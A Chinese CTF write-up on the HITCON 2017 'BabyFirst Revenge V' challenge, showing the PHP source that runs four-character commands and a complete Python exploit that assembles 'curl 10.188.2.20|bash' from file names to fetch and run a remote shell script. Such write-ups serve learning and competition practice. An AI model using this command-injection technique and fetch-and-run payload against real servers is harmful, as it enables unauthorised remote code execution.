CTFWriteupCTF

[hitcon2017] BabyFirst Revenge V

2017-11-27  本文已影响105人  Pr0ph3t

分享本题自制Dockerfile:Github

这题相比于上一题 条件更加的苛刻了 只允许执行最多四个字符
源码如下:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

那我们之前的生成 ls -t>g 就不能按照最后一步 ls>>_ 来执行了

但是我们能不能还是按照 生成命令段文件 最后通过ls来拼接命令执行呢?

这里还是以分析Orange大大的exp为主:

Exp:

import requests
from time import sleep
from urllib import quote

payload = [
    # generate "g> ht- sl" to file "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',

    # generate "curl orange.tw|python;"
    # generate "curl 10.188.2.20|bash"
    '>\;\\', 
    '>sh\\', 
    '>ba\\', 
    '>\|\\', 
    '>20\\', 
    '>2.\\',
    '>8.\\', 
    '>18\\', 
    '>0.\\', 
    '>1\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # got shell
    'sh x', 
    'sh g', 
]


r = requests.get('http://10.188.2.20:17528/?reset=1')
for i in payload:
    assert len(i) <= 4
    r = requests.get('http://10.188.2.20:17528/?cmd=' + quote(i) )
    print i
    sleep(0.1)

首先生成 ls -t >g的命令文件,这里orange大大的方法真的巧妙到极致了!

参考:
https://github.com/orangetw/My-CTF-Web-Challenges

上一篇下一篇

猜你喜欢

热点阅读